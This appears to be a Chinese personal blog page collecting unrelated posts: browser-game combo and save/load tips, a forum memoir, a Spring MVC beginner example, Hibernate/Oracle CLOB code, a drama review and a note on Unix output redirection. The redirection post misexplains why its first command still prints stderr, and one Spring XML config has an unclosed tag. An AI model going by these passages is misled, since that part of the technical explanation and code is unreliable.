    第五:关于宝石合成.其实论坛里也关于宝石合成的文章.也有关于打宝的石头合成的文章.我就不在详细的说了.只是简单提几句.倍防+反噬=贡神石……破 防+吸血=帝王石….合出这两个之后.就只能在加一种宝石了.那就是+掉宝的黄帝石.而且可以一直加哟…嘿嘿.对了.忘了告诉大家关于宝石等级的问题.具 体的宝石等级我是不太清楚.如果是合成的宝石呢.我就有点意见一定要提.两颗宝石合在一起.那合出来的宝石算什么等级的呢.这告诉大家.是算的用来合的宝 石的加和在除以2(也就是平均值)做为合成的宝石的等级.那要是继续合掉宝的宝石的话呢.就是如果是+C的掉宝.合出来的宝石就是原先的宝石附加的能力的 数值的总和+C做为它的等级..(不知道你们能听懂不?)…关于升级的白宝石呢.我也想说一下.升级武器每一次都会不一样的.可以升1~N.至于能到多少 我也不太清楚.我最高就升过7点.一般都只能是6点最多.因为升七点的几率已经很小了.我猜上限应该是10点….反正我没怎么去努力的试过这个问题
    第六:关于连击.听到论坛里有些人在说2.2连击最高是80多.我听到怎么怎么别扭啊.我确认我的是2.2.也确认我的突刺有延时.可是我也有连到 565…真的.我讲讲我的连击方法.仅供参考.有好的方法.希望大家也能告诉我.我可不是个吝啬的人哦.好了.正题开始.普通攻击(2下)+突刺 (4)+普通攻击(2)+重击(1)+翱月(1)+三连击+华莲(7)重头继续.如果是打5个的话.就可以在3个怒气用完的时候多2个怒气.也就是5 个.OK.我们来算一下.2+4+2+1+1+3+7=20,打5个的话.就可以20*5=100.把气算成是5格怒气的话.就是100*5=500.第 5个怒气发出的时候我们还可以继续连.就还得加上最开始的 (20-7)*5=65(因为没怒气了)就是500+65=565.我努力的就这点成果.寒啊-_-||我以前用的是气爆.因为比较好连…可是华莲的连击 实在是太多了..花了我一上午呢…对了…这一次我的编辑重点是加这么一句…连击是不是很多时候连不起来呢.偶也遇到.而且就是刚才.放心.绝对不是我方法 的问题..和你自己的设置是有关系滴“按X调出系统菜单.把品质改为低.回复频率改为快速…真不好意思.上次忘了注明这一点…这次补上….
    第七:有很多图是必须靠走过去的.宠物没用!我真是想#$^$@#%@!#…..那宠物还有什么意思.都不能陪我一起赴汤蹈火…这里呢有个BUG 就是S/L大法.玩老式的RPG游戏都知道的 .储存再读取(save/load)这个要怎么读取呢…嘿嘿.开两个IE.都打开游戏.读取到你的信息…嘿嘿拿一个窗口不动吧..剩下一个窗口. 控制它吧…你去自杀了在被鞭尸.轮流鞭尸….分尸XXXX…等等……一刷新.又是一个新鲜的面孔..不赖吧..我曾经用这个方法刷了 500多个宝箱..当时不知道怎么刷无限宝石.5555555…..这个呢还可以用在合成宝石.和武器升级上!!!希望对你们也有帮助..哦忘了说了…嘿 嘿.很多地图都是用不了宠物的.不小心死了再走一遍那就太麻烦了吧…如果在BOSS前一格..打开IE再读取一下进度..嘿嘿…在刷新一次.不过就多了几 个小怪而已.用无敌穿墙术的引申应用.那些小怪就是小CASE…
    *注:无敌穿墙大法.今天才发现的.可能是我平时没怎么玩吧.不过看了论坛里一个叫什么ID(没注意记)的人的回话.似乎这个方法有人先发现了.反正分享 出来供大家欣赏作乐.无敌穿墙术就是看到敌人攻击的一刹那.按X.也就是系统设置的快捷键.这样你就不会被攻击.在刚才那步骤后如果在快速按下X在继续按 瞬移然后继续重复第一步的话.嘿嘿.一直走到BOSS那里也没问题.
    关于它的应用.我再出个好主意.就是两次按X的时候你可以轻微的动一下别人是伤害不了你的.在和敌人靠得很近的时候.按两次X的时候发动翱月的话没人能快 过你..连仙女都不行~`这里在给大家一点我的意见.一般翱月发动出来之后在接着发动普通攻击.他们都反抗不了.虽然翱月不能和普通攻击连上.可是普通攻 击能连其他的呢.
    对于连击它也有应用:我以前经常被打的动不了.血也加不了.怎么办呢….看看那些小鬼的攻击状况吧.都有个时间延时.被打得动不了的原因就是因为他们都在 一起攻击而且频率也是一样的.自己喝药也要个休息时间吧.这下要是用到X键..嘿嘿.效果就不一样了….先来个瞬移绕到它后面.转个身….痛扁他们 吧!!!!
    最后:2.3也快出来了.我很想第一手玩到这个版哦.


    引自66叶小游戏



  • 端午节吃粽子,愿朋友们快快乐乐,工作顺心~
  • 好久不来,想念看看

    2008-11-14 | Tag:

    足有一年没来了,貌似就要忘记了这个地方,然而经历过的许多事是很难忘掉的,

    我对论坛素来是没什么兴趣的,即使是现在。相遇是我去过的第一个

    论坛,那时候跟疯了一样,还叫了几个同学,一起逛论坛,天天逛,

    流着口水看火狐狸露着背的照片,学着别人到处找猩猩。

     

    实际上我在论坛上很少见到开源的名字出现。

    开源是个极度脑残的人,说话老是和什么都搭不上调。就因为他这样

    我和他成了兄弟,我同学也和他成了兄弟。成天凑在网上牛头马嘴。

     

    我不喜欢社交活动,就算上了论坛,也只是偶尔发个帖子,偶尔回复

    大多时候我只是看一看,每一篇都看,包括留言。看完之后就去打积木。

    过一会儿刷新一下再看。论坛每天基本上就那么几个人在上,很少有

    新面孔。似乎就是一些朋友聚在一起吹牛,没有太多别的动机。所以我

    基本上知道他们每一个人,当然,他们并不知道我。今天打开论坛,一眼

    看见了三千里流域衣,就在想,这人怎么还在?

     

    我的同学比我活跃多了,上蹿下跳。有一天,他和我说:我当副斑竹了哎

    你发帖子吧,看我能给你加精不。有可以行使的权利对他来说是件十分不错

    而且值得炫耀的东西,从此之后,我无数次听见他和别人说,去相遇吧,那

    是个好地方,最重要的是我在里面当了个斑竹。这些人中间就有小宝,她是

    那群人中唯一一个真的去了相遇的人,她后来在相遇发了我的照片,并在相遇

    和我结了婚,所幸照片并没几个人看见,结婚也只是出于好玩。

     

    在一次改版之后没多久,我突然忘记了自己的账号,空记得一个密码。于是我

    变成了一个彻底的游客。那时候我在上大学,并且喜欢上了看小说。流明不在了,

    FOX去当兵了,宝儿成了主妇。于是我不再去相遇了。

     

    猫猫说:

    颜色,死有什么好?虽然有时候我也很想死

    一起活着吧,就算无聊的时候也有伴。

     

    我终于记得自己的账号叫颜色,于是我再次来了相遇。

     

    期间我大概曾经敲击过www.kaiyuanba.cn三四次,每次都是该页无法显示,于是

    我每次都想,终于搞不下去了,猩猩也老了。

     

    我没忘记过这个地方,虽然只是偶尔想起这个简单的地方,但是总算是没有忘记。

    所以突然之间打开相遇,一切都很熟悉,只是多了个广告而已。


  • 一个不错的开源站点

    2008-11-03 | Tag:

    标签: 开源  技术  文档下载  资讯 

    开源吧 - 软件项目程序开源大全 - 开源软件领域最新发展动态和最新技术介绍
    不错的一个站,推荐给大家:

    开源吧: http://www.kaiyuanba.cn
    php项目:http://www.kaiyuanba.cn/list/2-1.htm
    java项目:http://www.kaiyuanba.cn/list/3-1.htm
    c#项目:http://www.kaiyuanba.cn/list/149-1.htm
    Ruby/Rails开源项目:http://www.kaiyuanba.cn/list/150-1.htm
    Unix/Linux开源:http://www.kaiyuanba.cn/list/4-1.htm
    软件搜索:http://so.kaiyuanba.cn/
  • 为了忘却的纪念

    2007-07-07 | Tag:

        好久没来了,几乎忘了这个地方,大概是有意忘却吧,人生有太多的回忆,或是怀念,或是不堪回首,人都回在悲伤中建起信念,跌倒中爬起,心中的快乐和痛苦却会永远记在心中。这个阶段应该结束了。

  • 今天下雨了

    2007-05-31 | Tag:

    突然之间下起了雨,阴沉沉的,继续努力工作吧,马上就会晴天的……
  • 最简单的Spring示例

    2007-05-06 | Tag:

    最简单的spring示例,使用spring的MVC,并应用了spring的依赖注入,实现简单应用,索性放在这里供还没入门的spring爱好者参考,初步感受一下spring应用(spring高手就不必看了,这里并没有涉及高级特性,比如与ORM框架的整合,事务管理,远程调用,代理等这些功能)

      spring至关重要的一环就是装配,即配置文件的编写,接下来我按刚才实际过程中一步步简单讲解。

      首先,要在web.xml中配置DispatcherServlet,它是作为Spring MVC的前端控制器.必须在web.xml中配置好,如下

    <servlet>
    <servlet-name>ntx</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <load-on-startup>1</load-on-startup>
    </servlet>

      实际上,spring的配置文件可以分切到多个xml文件,我们这个简单的示例就把它配置到ntx.xml中

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE beans PUBLIC
    "-//SPRING//DTD BEAN//EN"
    "http://www.springframework.org/dtd/spring-beans.dtd">

    <beans
    default-autowire="no"
    default-lazy-init="false"
    default-dependency-check="none"


    <bean id="loginService" class="ntx.service.serviceimpl.LoginServiceImpl"/>

    <bean id="loginController" class="ntx.controller.LoginController">
    <property name="loginService">
    <ref bean="loginService"/>
    </property>
    <property name="gotoUrl">
    <value>/showResult.jsp</value>
    </property>
    </bean>

    <bean id="SimpleUrlHandlerMapping" class="org.springframework.web.servlet.handler.SimpleUrlHandlerMapping">
    <property name="mappings">
    <props>
    <prop key="/userLogin.do">loginController</prop>
    </props>
    </property>
    </bean>
    </beans>

      配置好上面的这些后,要在WEB-INF下要建立ntx-servlet.xml如下:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.org/dtd/spring-beans.dtd">
    <beans>
     <bean id="viewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
     <property name="viewClass"><value>org.springframework.web.servlet.view.JstlView</value></property>
     <property name="prefix"><value></value></property>
     <property name="suffix"><value></value></property>
    </bean>
    </beans>

      接下来,要指明哪些请求将交给spring的DispatcherServlet来处理,所以在web.xml中添加<servlet-mapping>

    <servlet-mapping>
     <servlet-name>ntx</servlet-name>
     <url-pattern>*.do</url-pattern>
    </servlet-mapping>

      为了能正确载入DispatcherServlet等配置文件,我们要在web.xml中配置一个上下文载入器ContextLoaderListener或者ContextLoaderServlet,我们这里为了兼容版本较低的Serlvet容器(实际上我采用的2.4),采用第二种:

    <servlet>
     <servlet-name>context</servlet-name>
     <servlet-class>org.springframework.web.context.ContextLoaderServlet</servlet-class>
     <load-on-startup>100</load-on-startup>
    </servlet>

      这样就全部配置完毕了,当然,上面的ntx.xml是我在项目完成以后才配置完成的,这里不再多讲,有bean元素的配置大家可以参考有关资料理解,很容易理解的,下面再给出完整的web.xml配置以及java<?xml version="1.0" encoding="UTF-8"?>

    <web-app version="2.4"
    xmlns="http://java.sun.com/xml/ns/j2ee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
    http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">

    <context-param>
     <param-name>contextConfigLocation</param-name>
     <param-value>/WEB-INF/ntx.xml</param-value>
    </context-param>
    <servlet>
     <servlet-name>ntx</servlet-name>
     <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
     <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet>
     <servlet-name>context</servlet-name>
     <servlet-class>org.springframework.web.context.ContextLoaderServlet</servlet-class>
     <load-on-startup>100</load-on-startup>
    </servlet>
    <servlet-mapping>
     <servlet-name>ntx</servlet-name>
     <url-pattern>*.do</url-pattern>
    </servlet-mapping>
    <welcome-file-list>
     <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>
    </web-app>

      根据ntx.xml知道,总共有三个java文件,LoginController.java是控制器,继承了最简单的Controller(实际上spring有很多控制器供我们选择),接下来是一个简单控制器的源码:

    /** *//**
    * program NtxSpring
    * date 2006-9-27
    * @author 张逸轩
    */
    package ntx.controller;

    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;

    import org.springframework.web.servlet.ModelAndView;
    import org.springframework.web.servlet.mvc.Controller;

    import ntx.service.LoginService;

    /** *//**@spring.bean id="loginController"
    * @spring.property name="gotoUrl" value="/showResult.jsp"
    * @spring.property name="loginService" ref="loginService"
    */

    /** *//**
    * 作用描述:spring示例
    *
    * 说明:spring示例,以上的spring标签方便使用xdoclet生成spring配置文件
    *
    * @author 张逸轩
    * Copyright(c)2006 cleverfox
    */
    public class LoginController implements Controller...{

    private LoginService loginService ;
    private String gotoUrl;
    public ModelAndView handleRequest(HttpServletRequest request,HttpServletResponse response) throws Exception ...{
     String userName = request.getParameter("userName");
     this.getUserInfo(request, userName);
     return new ModelAndView(this.getGotoUrl());
    }

    private void getUserInfo(HttpServletRequest request,String userName)...{
     String userInfo = loginService.getUserInfo(userName);
     request.setAttribute("userInfo", userInfo);
    }

    public String getGotoUrl() ...{
     return gotoUrl;
    }
    public void setGotoUrl(String gotoUrl) ...{
     this.gotoUrl = gotoUrl;
    }
    public LoginService getLoginService() ...{
     return loginService;
    }
    public void setLoginService(LoginService loginService) ...{
     this.loginService = loginService;
    }

    }

      还有service层的接口以及实现,较简单。

    package ntx.service;
    public interface LoginService ...{
     public String getUserInfo(String userName);
    }package ntx.service.serviceimpl;

    import ntx.service.LoginService;

    public class LoginServiceImpl implements LoginService ...{
     public String getUserInfo(String userName)...{
      return "你的名字是:" + userName;
     }
    }

      好了,最后是两个jsp文件,一个index.jsp用来显示一个表单,输入名字,一个showResult.jsp用来显示结果,只贴出相关的代码:

    <body>
    This is my Test Spring page. <br>
    <div>
    <form method="post" action="/userLogin.do">
    <input type="text" name="userName" size="30"/><br/>
    <input type="submit" value="提交"/>
    </form>
    </div>
    </body>

    <body>
    This is the Result: <br>
    <c:out value="${userInfo}" default="没有结果"/>
    </body>

  • 排列组合

    2007-04-17 | Tag:

    写程序写傻了,有时候1+1=?都会想上半天,今天碰到了高中学的东西,排列组合的算法,愣是没想出来,sign...

    暂时把这个东西记下来吧,与小朋友们共享 大笑 

  • CLOB字段得存取

    2007-04-15 | Tag:

    采用得是ORACLE9i数据库,Jboss或Weblogic。
    JDBC采用ORACLE9i自带的Class12.jar
    -------------
    数据库结构:
    CREATE TABLE SNCPARAMETERS  
    (  
      ID     NUMBER(19)                             NOT NULL,  
      SNCID  NUMBER(19),  
      NAME   VARCHAR2(255),  
      VALUE  CLOB  
    )  


    --------------
    BO采用xdoclet建立的:

    代码
    public class SNCParameters extends BaseObject  
    {  
     
        /** 
         * Returns the id. 
         * 
         * @return      long 
         * @hibernate.id 
         *          column = "id" 
         *          type = "long" 
         *          generator-class = "native" 
         *          unsaved-value = "null" 
         */ 
        public Long getId()  
        {  
            return id;  
        }  
     
        /** 
         *    Sets the Id attribute of the SNCParameters object 
         * 
         * @param    id  The new Id value 
         */ 
        public void setId(Long id)  
        {  
            this.id = id;  
        }  
     
        /** 
         * Returns the name. 
         * 
         * @return      String 
         * 
         * @hibernate.property 
         *          column = "name" 
         *          type = "string" 
         *          not-null = "true" 
         *          unique = "false" 
         */ 
     
        public String getName()  
        {  
            return name;  
        }  
     
        /** 
         *    Sets the Name attribute of the SNCParameters object 
         * 
         * @param    name  The new Name value 
         */ 
        public void setName(String name)  
        {  
            this.name = name;  
        }  
     
        /** 
         * Returns the sncId. 
         * 
         * @return      Long 
         * 
         * @hibernate.property 
         *          column = "sncId" 
         *          type = "long" 
         *          not-null = "true" 
         *          unique = "false" 
         */ 
     
        public Long getSncId()  
        {  
            return sncId;  
        }  
     
        /** 
         *    Sets the SncId attribute of the SNCParameters object 
         * 
         * @param    sncId  The new SncId value 
         */ 
        public void setSncId(Long sncId)  
        {  
            this.sncId = sncId;  
        }  
     
        /** 
         * Returns the values. 
         * 
         * @return      Clob 
         * 
         * @hibernate.property 
         *          column = "value" 
         *          type = "clob" 
         *          not-null = "true" 
         *          unique = "false" 
         */ 
     
        public Clob getValue()  
        {  
            return value;  
        }  
     
        /** 
         *    Sets the Values attribute of the SNCParameters object 
         * 
         * @param    values  The new Values value 
         */ 
        public void setValue(Clob value)  
        {  
            this.value = value;  
        }  
        private Long id;  
        private Long sncId;  
        private String name;  
        private Clob value;  
        private String valueString;  
        public String getValueString()  
        {  
            return valueString;  
        }  
            public void setValueString(String  valueString)  
        {  
            this.valueString = valueString;  
        }  
    }  


    注:valueString并不映射到数据库的CLOB字段,只是方便需要使用这个BO的人用GET、SET 处理这个巨长的CLOB字段
    ------------
    xdocLet生成的XML文件:


    代码
    <?xml version="1.0"?> 
     
    <!DOCTYPE hibernate-mapping PUBLIC  
        "-//Hibernate/Hibernate Mapping DTD 2.0//EN"   
        "http://hibernate.sourceforge.net/hibernate-mapping-2.0.dtd"> 
     
    <hibernate-mapping> 
        <class 
            name="com.idncn.mc.bo.SNCParameters" 
            table="SNCParameters" 
            dynamic-update="false" 
            dynamic-insert="false" 
        > 
     
            <id 
                name="id" 
                column="id" 
                type="long" 
                unsaved-value="null" 
            > 
                <generator class="native"> 
                </generator> 
            </id> 
     
            <property 
                name="name" 
                type="string" 
                update="true" 
                insert="true" 
                column="name" 
                not-null="true" 
                unique="false" 
            /> 
     
            <property 
                name="sncId" 
                type="long" 
                update="true" 
                insert="true" 
                column="sncId" 
                not-null="true" 
                unique="false" 
            /> 
     
            <property 
                name="value" 
                type="clob" 
                update="true" 
                insert="true" 
                column="value" 
                not-null="true" 
                unique="false" 
            /> 
        </class> 
     
    </hibernate-mapping> 


    --------------------
    insert的代码:

    代码
     public List batchAddSncParameters(List sncParametersList, Long sncId) throws DbAccessException  
     {  
         logger.enterMethod();  
         List ret = new ArrayList();  
         try 
         {  
             sess = getSession();  
             if (sncParametersList != null && sncParametersList.size() > 0)  
             {  
                 for (int i = 0; i < sncParametersList.size(); i++)  
                 {  
                     SNCParameters cp = (SNCParameters) sncParametersList.get(i);  
                     long newId = -1;  
                     if (cp != null)  
                     {  
                         SNCParameters cpNew = new SNCParameters();  
                         cpNew.setSncId(sncId);  
                         cpNew.setName(cp.getName());  
                         cpNew.setValue(Hibernate.createClob(" "));  
                         newId = ((Long) sess.save(cpNew)).longValue();  
                         sess.flush();  
     
    sess.refresh(cpNew, LockMode.UPGRADE);  
                         String content = cp.getValueString();  
     
                         String appserver = System.getProperty("appserver", "jboss");  
                         if (!appserver.equalsIgnoreCase("jboss"))  
                         {  
                             //weblogic  
                             OracleThinClob clob = (OracleThinClob) cpNew.getValue();  
                             java.io.Writer pw = clob.getCharacterOutputStream();  
                             pw.write(content);  
                             pw.flush();  
                             pw.close();  
    }  
                         else 
                         {  
                             //jboss  
                             oracle.sql.CLOB clob = (oracle.sql.CLOB) cpNew.getValue();  
                             java.io.Writer pw = clob.getCharacterOutputStream();  
                             pw.write(content);  
                             pw.flush();  
                             pw.close();  
                         }  
                         ret.add(new Long(newId));  
                     }  
                 }  
             }  
         }  
         catch (Exception e)  
         {  
             logger.error(e);  
             ErrorReason errorReason = new ErrorReason(ErrorReason.INSERT_OBJECT_FAILED_REASON);  
             throw new DbAccessException(DbAccessException.DBA_OPERATE_EXCEPTION, errorReason);  
         }  
         finally 
         {  
             closeSession(sess);  
             logger.exitMethod(); &nb ...

  • 你来自那颗星

    2007-04-13 | Tag:

        看了这么多部韩剧,每一部都是尽全身心在看在投入。每一部看的时候都觉得是最好的。但是这部不一样,刚开始看到它的名字我就不想看,什么人取这么老土的名字?后来发现居然是《我的名字叫金三顺》中的熙真郑丽媛和《爱在哈佛》的金来元合作的作品。金来元的阳光笑容是很欣赏的,姑且不论演技,仅仅看他在那边扯开嘴角就已经让人有种阳光撒遍全身的感觉。所以我决定了,就用我的一点时间来看吧,给他们一点时间,说不定是种意想不到的享受呢。
        剧情叙述的是男主角爱上了女主角的姐姐,但是因为一场车祸女主角的姐姐死了,女主角的姐姐的母亲也因此更加痛恨男主角,到了每次见面都是张牙舞爪的地步。男主角痛不欲生,过了三年流浪的颓废生活,也放下了最喜爱的电影。但是三年后就在他想忘记以前重新开始的时候,他遇到了女主角,和她姐姐一模一样的脸孔,只不过当年是光彩多人的时髦女郎,现在是动作粗鲁穿着俗气的村姑。但是不管如何,他们还是相爱了。于是阻碍悲伤痛苦就来了,相爱的两个人有着太多太多要面对的悲惨将来,要死要活的生活正要开始…… 
        “不知從何時起,我發覺我是世上最不幸的存在,那時起你出現了,你真的是奇怪的人,跟你在一起的日子,我所知道的一切都開始灰飛湮滅,不過奇怪的是,從那時起,漸漸的我開始喜歡起自己,開始會唱歌,開始會奔跑,還開始會吵架,你到底來自那裡?那我又來自那裡?....”这是部有着韩剧滥招之一的故事-身世问题,不过其中的剧情因郑丽媛所饰演的天真单纯的福实有了不一样的改变。印象中郑丽媛在金三顺的表现,让人直觉就是骄傲的千金大小姐,这回表现让人惊讶,尤其是她在哭的时候,简直和身边的小孩没两样哭得声嘶力竭的,可谓是转型之作不错,很好!金来沅的表现也不错,剧中的演出都很平均没有什麽人特别抢戏,故事节奏也很紧凑不拖泥带水,超喜欢的最後一集的表现有别於随便带过的韩剧结局(my gril),看完有种满满的幸福感觉喔!

        看这个片子的时候,忽然有种触动。看着扎着两个羊角辫儿的福实,看着她傻傻的笑的时候,我都有一种沉静的感觉。
        喜欢看这部片子,不得不佩服两位演员的演技。金来沅使我一直都很喜欢的演员,演技真的不是盖的,郑丽媛是从《我的名字叫金三顺》的时候开始认识的。说实在的,那时候觉得她的演技般般,角色也令人讨厌。看了《星》之后,真地对她刮目相看了。
        你来自那颗星?谁又是守护你的那颗星?在前几集中,我印象最深的要数那个场面:来沅把自己的鞋子放在福实和她妈妈门外的鞋的旁边的时候。看着三双鞋整齐地排在一起,心里有点感动。来沅说:“在这里,家里没有男人是不安全的”,从那时起,他就想成为守护福实的那颗星吧~~
    人的感情总是那么复杂,又是后来自己都搞不清楚。我总觉得福实是一个令人佩服的女孩子,一个敢爱敢恨得的直爽的人。在这个世界上,估计不是每一个人都能够正视自己的感情的吧。
        “人们死后会回到自己的那个星球上,回到自己原来住的那颗星后,写份关于地球生活的报告书,还要复印100份……”

  • 重定向

    2007-03-30 | Tag:

       UNIX有几种输入输出流,它们分别与几个数字有如下的对应关系:0-标准输入流(stdin),1-标准输出流(stdout),2-标准错误流 (stderr)。”2>&1″的意思就是将stderr重定向至stdout,并一起在屏幕上显示出来。如果不加数字,那么默认的重定向 动作是针对stdout(1)的,比如”ls -l > result”就等价于”ls -l 1 > result”。
    #cat std.sh
    #!/bin/sh
    echo “stdout”
    echo “stderr” >&2

    #/bin/sh std.sh 2>&1 > /dev/null
    stderr

    #/bin/sh std.sh > /dev/null 2>&1

      第一条命令的输出结果是stderr,因为stdout和stderr合并后一同重定向到/dev/null,但stderr并未被清除,因此 仍将在屏幕中显示出来;第二条命令无输出,因为当stdout重定向至/dev/null后,stderr又重定向到了stdout,这样stderr也 被输出到了/dev/null。

    所以起动系统服务就可以这样写在 rc.local中
    /usr/local/apache/bin/apachectl start > /dev/null 2>&1
    起动服务不会显示错误信息